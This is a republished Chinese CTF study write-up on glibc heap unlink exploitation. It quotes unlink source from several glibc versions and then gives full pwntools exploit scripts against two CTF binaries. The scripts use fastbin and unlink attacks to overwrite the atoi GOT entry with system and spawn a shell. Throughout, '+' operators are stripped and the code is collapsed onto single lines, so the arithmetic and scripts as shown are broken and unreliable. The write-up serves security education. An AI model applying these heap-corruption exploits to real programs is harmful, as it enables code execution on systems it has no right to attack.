打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
Unlink学习总结

Unlink

本文参考了CTF-wiki 和glibc 源码

原理:

我们在利用 unlink 所造成的漏洞时,其实就是借助 unlink 操作来达成修改指针的效果。

我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来,然后和前后物理相邻的 free chunk 进行合并。其基本的过程如下

类似于我们学数据结构时学的从双向链表中删除一个节点的操作。

在最初 unlink 实现的时候,其实是没有对双向链表检查的,也就是说,没有以下的代码

//检查p的 size 是否等于物理相邻的后一个chunk的 pre_sizeif (chunksize (p) != prev_size (next_chunk (p)))    malloc_printerr ("corrupted size vs. prev_size");//检查p和其前后的chunk是否构成双向链表if (__builtin_expect (fd->bk != p || bk->fd != p, 0))    malloc_printerr ("corrupted double-linked list");//只有large bin 才进行次检查//检查p和其前后的large chunk的nextsize域是否构成双向链表if (p->fd_nextsize->bk_nextsize != p     || p->bk_nextsize->fd_nextsize != p)   malloc_printerr ("corrupted double-linked list (not small)");

这里我们以 32 位为例,假设堆内存最初的布局是下面的样子

如果我们通过某种方式(比如溢出)将 nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时

  1. glibc 判断这个块是 small chunk。
  2. 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并。
  3. 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并。
  4. 继而对 nextchunk 采取 unlink 操作。

那么 unlink 具体执行的效果是什么样子呢?我们用P来表示当前的chunk(也就是先被free的chunk),可以来分析一下

  • FD=P->fd = target addr -12
  • BK=P->bk = expect value
  • FD->bk = BK,即 *(target addr-12 12) = expect value
  • BK->fd = FD,即*(expect value 8) = target addr-12

看起来我们似乎可以通过 unlink 直接实现任意地址写入的目的,但是我们还是需要确保 expect value 8 地址具有可写的权限。

比如说我们将 target addr 设置为某个 got 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值(expect value)处的代码。需要注意的是,expect value 8 处的值可能没有写入权限,执行BK->fd = FD回报错,需要想办法绕过。

我们刚才考虑的是没有检查的情况,但是一旦加上检查,就没有这么简单了。我们看一下对 fd 和 bk 的检查

//检查p和其前后的chunk是否构成双向链表if (__builtin_expect (fd->bk != p || bk->fd != p, 0))    malloc_printerr ("corrupted double-linked list");

此时

  • FD->bk = *(target addr - 12 12)=*(target_addr) != p
  • BK->fd = *(expect value 8) != p

那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。

但是,如果我们使得 expect value 8 以及 target_addr 等于 p,那么我们就可以执行

  • expect value = p - 8

  • target addr = p

  • FD->bk = BK,即 *(p-12 12) = *p =p-8

  • BK->fd = FD,即 *(p-8 8) = *p = p-12

这样可以通过检查,即改写了指针 p 的内容,将其指向了比自己低 12 的地址处。

此外,其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话,并不能达到修改指针内容的效果。

  • FD = p->fd = p

  • BK = p->bk = p

  • FD->bk = *(p 12) = p

  • BK->fd = *(p 8) = p

不同版本的unlink对比

glib 2.23

/* Take a chunk off a bin list */#define unlink(AV, P, BK, FD) {                                                FD = P->fd;                                   BK = P->bk;	//检查p和其前后的chunk是否构成双向链表    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                 malloc_printerr (check_action, "corrupted double-linked list", P, AV);      else     {                                    FD->bk = BK;                                   BK->fd = FD;        //一般的unlink到这里就结束了,只有是large bin范围,才继续执行下面的代码。        //如果 p 在largebin的范围  且 p->fd_nextsize不为空        if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0))         {          //检查p和其前后的large chunk的nextsize域是否构成双向链表          if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))                 malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);                                         if (FD->fd_nextsize == NULL) {                              if (P->fd_nextsize == P)                                  FD->fd_nextsize = FD->bk_nextsize = FD;                         else               {                                           FD->fd_nextsize = P->fd_nextsize;                                FD->bk_nextsize = P->bk_nextsize;                                P->fd_nextsize->bk_nextsize = FD;                                P->bk_nextsize->fd_nextsize = FD;                              }                                        }            else             {                                       P->fd_nextsize->bk_nextsize = P->bk_nextsize;                         P->bk_nextsize->fd_nextsize = P->fd_nextsize;                       }                                         }                                     }                                  }

glibc 2.27

#define unlink(AV, P, BK, FD) {        //检查p的 size 是否等于物理相邻的后一个chunk的 pre_size    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))               malloc_printerr ("corrupted size vs. prev_size");                     FD = P->fd;                                    BK = P->bk;                                    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                  malloc_printerr ("corrupted double-linked list");                     else     {                                     FD->bk = BK;                                    BK->fd = FD;                  if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0))         {                   if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))                   malloc_printerr ("corrupted double-linked list (not small)");                              if (FD->fd_nextsize == NULL)             {                                 if (P->fd_nextsize == P)                                     FD->fd_nextsize = FD->bk_nextsize = FD;                            else                 {                                              FD->fd_nextsize = P->fd_nextsize;                                   FD->bk_nextsize = P->bk_nextsize;                                   P->fd_nextsize->bk_nextsize = FD;                                   P->bk_nextsize->fd_nextsize = FD;                               }                                         }             else             {                                          P->fd_nextsize->bk_nextsize = P->bk_nextsize;                            P->bk_nextsize->fd_nextsize = P->fd_nextsize;                        }                                        }                                    }                                   }

glibc 2.29

static void unlink_chunk (mstate av, mchunkptr p){   if (chunksize (p) != prev_size (next_chunk (p)))    malloc_printerr ("corrupted size vs. prev_size");  mchunkptr fd = p->fd;  mchunkptr bk = p->bk;    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))    malloc_printerr ("corrupted double-linked list");  fd->bk = bk;  bk->fd = fd;        if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)  {      if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)          malloc_printerr ("corrupted double-linked list (not small)");      if (fd->fd_nextsize == NULL)      {         if (p->fd_nextsize == p)           fd->fd_nextsize = fd->bk_nextsize = fd;         else         {             fd->fd_nextsize = p->fd_nextsize;             fd->bk_nextsize = p->bk_nextsize;             p->fd_nextsize->bk_nextsize = fd;             p->bk_nextsize->fd_nextsize = fd;          }      }      else      {         p->fd_nextsize->bk_nextsize = p->bk_nextsize;         p->bk_nextsize->fd_nextsize = p->fd_nextsize;      }  }}

glibc 2.23

  1. 检查p和其前后的chunk是否构成双向链表

  2. 检查p和其前后的large chunk的nextsize域是否构成双向链表

glibc 2.27 2.29 新增加一下保护

  1. 检查p的 size 是否等于物理相邻的后一个chunk的 pre_size

为了加深印象,我们做几道题目

例子

本题的环境是ubuntu 16,也就是说glibc版本为2.23

首先检查一下保护

增删改查,典型的堆题

IDA 分析

main函数,申请了一块空间,存了2个函数指针,分别是hello_message和goodbye_message

add存在off_by_null漏洞

edit 没有对输入的length做检查,导致堆溢出

delete 没有漏洞

show 展示所有item的内容

这里还有个后门?

初步分析这题目存在堆溢出,我们可以修改fd,bk的值。我们可以想到的是使用fastbin attack 但是为了练习unlink,我们这里使用unlink攻击

  1. fastbin attack利用后门
add(0x21,'AAAAA')#0  为了溢出修改1add(0x18,'BBBBB')#1  add(0x18,'CCCC') #2delete(2)delete(1) #fastbin -> 1 -> 2payload = 'A'*0x28 p64(0x21) #修改1的fd指针,指向main开始时申请的内存地址edit(0,len(payload),payload) add(0x18,'AAA')       backdoor = 0x0400D49 add(0x18,p64(0) p64(backdoor))  #将其第二个指针修改为backdoor的地址.p.sendlineafter('Your choice:','5')
  1. fastbin attack(house of force)劫持atoi_got

    add(0x21,'AAAAA')#0 为了溢出修改1add(0x18,'BBBBB')#1delete(1)   #fastbin -> 1payload = 'A'*0x28 p64(0x21) p64(0x06020C0 - 0x8)edit(0,len(payload),payload) #fastbin -> 1 -> itemlist-8add(0x18,'AAA')add(0x18,p64(elf.got['atoi'])) #修改itemlist[0]->ptr 指针指向atoi_gotshow() #泄漏libc地址p.recvuntil('0 : ')atoi = u64(p.recv(6).ljust(8,'\x00'))libc_base = atoi - libc.symbols['atoi']system = libc_base   libc.symbols['system']edit(0,8,p64(system))#往atoi_got写入system地址p.sendlineafter('Your choice:','/bin/sh\x00')
  2. unlink

    #coding:utf-8from pwn import *context.log_level = 'debug'p = process('./bamboobox')elf = ELF('./bamboobox')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def add(size,content):    p.sendlineafter('Your choice:','2')    p.sendlineafter('name:',str(size))    p.sendafter('item:',content)def show():    p.sendlineafter('Your choice:','1')def edit(idx,size,content):    p.sendlineafter('Your choice:','3')    p.sendafter('item:',str(idx))    p.sendlineafter('name:',str(size))    p.sendafter('item:',content)def delete(idx):    p.sendlineafter('Your choice:','4')    p.sendafter('item:',str(idx))itemlist0_ptr = 0x6020C0 8add(0x40,'A' * 8)#0add(0x80,'B' * 8)#1add(0x80,'C' * 8)#2#这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)fake_chunk =  p64(0)   p64(0x41)  #fake_chunk headerfake_chunk  = p64(itemlist0_ptr-0x18)   p64(itemlist0_ptr-0x10) #fake_chunk fd  bkfake_chunk  = 'C'*0x20fake_chunk  = p64(0x40) # 1的presize fake_chunk  = p64(0x90) # 1的sizeedit(0,0x80,fake_chunk)'''这里用p指代itemlist0_ptrFD = p -> fd = p - 0x18BK = p -> bk = p - 0x10FD -> bk = pBK -> fd = p#通过检查FD -> bk = BK 相当于  *(p) = p-0x10BK -> fd = FD 相当于  *(p) = p-0x18我们把p的值改为了p的地址-0x18,使得p的值不再是堆的地址,而是itemlist附近的地址。'''delete(1)  #前向合并,合并0中的fake_chunk  放入 unsorted bin 中 ,同时 itemlist0_ptr = &itemlist0_ptr -0x18payload = p64(0) * 2payload  = p64(0x40)   p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_gotedit(0,0x80,payload)show()p.recvuntil('0 : ')atoi = u64(p.recv(6).ljust(8,'\x00'))libc_base = atoi - libc.symbols['atoi']system = libc_base   libc.symbols['system']edit(0,8,p64(system))p.sendlineafter('Your choice:','/bin/sh\x00')p.interactive()

jarvisoj_level6_x64

首先检查保护

IDA分析

首先程序先malloc了一块地址,把一开始的地方填入0x100,0,剩下的全部清零

增删改查,典型的堆题

add函数,申请0x80字节大小对齐的堆块,然后在heaparray中做相应的记录

edit函数,如果输入的size与heaparray中记录的不同,这调用realloc函数。

show 没啥好说,就是heaparray中每个记录项打印出来

free函数,存在double free的漏洞,因为没有清零,且没有对heaparray中的inuse进行校验。

#coding:utf-8from pwn import *context.log_level = 'debug'p = process('./freenote_x64')elf = ELF('./freenote_x64')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def add(size,content):    p.sendlineafter('Your choice: ','2')    p.sendlineafter('note: ',str(size))    p.sendafter('note: ',content)def show():    p.sendlineafter('Your choice: ','1')def edit(idx,size,content):    p.sendlineafter('Your choice: ','3')    p.sendlineafter('number: ',str(idx))    p.sendlineafter('note: ',str(size))    p.sendafter('note: ',content)def delete(idx):    p.sendlineafter('Your choice: ','4')    p.sendlineafter('number: ',str(idx))#----------leak heap and libc --------------#add(0x80,'A'*0x80)#add(0x80,'B'*0x80)#1add(0x80,'C'*0x80)#add(0x80,'D'*0x80)#3delete(0)delete(2) #在unsorted bin中形成双向链表add(0x8,'A'*0x8)#0add(0x8,'C'*0x8)#2show()p.recvuntil('AAAAAAAA')heap = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x1940print 'heap: ' hex(heap)p.recvuntil('CCCCCCCC')libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x3c4b78print 'libc_base: ' hex(libc_base)#------------------unlink---------------------------------#delete(0)delete(1) #合并0,1块chunk0_ptr = heap   0x30payload  = p64(0) p64(0x81)payload  = p64(chunk0_ptr-0x18) p64(chunk0_ptr-0x10)payload = payload.ljust(0x80,'\x00')payload  = p64(0x80) p64(0x90)payload = payload.ljust(0x100,'\x00')add(0x100,payload)delete(1)   #double 触发unlink#----------------改写 atoi_got -----------------#payload = p64(0x2) p64(0x1) p64(0x8) p64(elf.got['atoi'])payload = payload.ljust(0x100,'\x00')edit(0,0x100,payload)#改写heaparray[0]-> ptr  使其指向atoi_gotedit(0,0x8,p64(libc_base   libc.symbols['system']))#改写atoi_got为system的值p.sendlineafter('Your choice: ','/bin/sh\x00')p.interactive()
来源:https://www.icode9.com/content-4-698601.html
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
堆利用之unsafe unlink
I2C子系统之at24c02读写测试
unlink remove 函数详解
LOGO教程
malloc函数和atoi()函数的实现
C++常用库函数atoi,itoa,strcpy,strcmp,malloc,free的实现
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服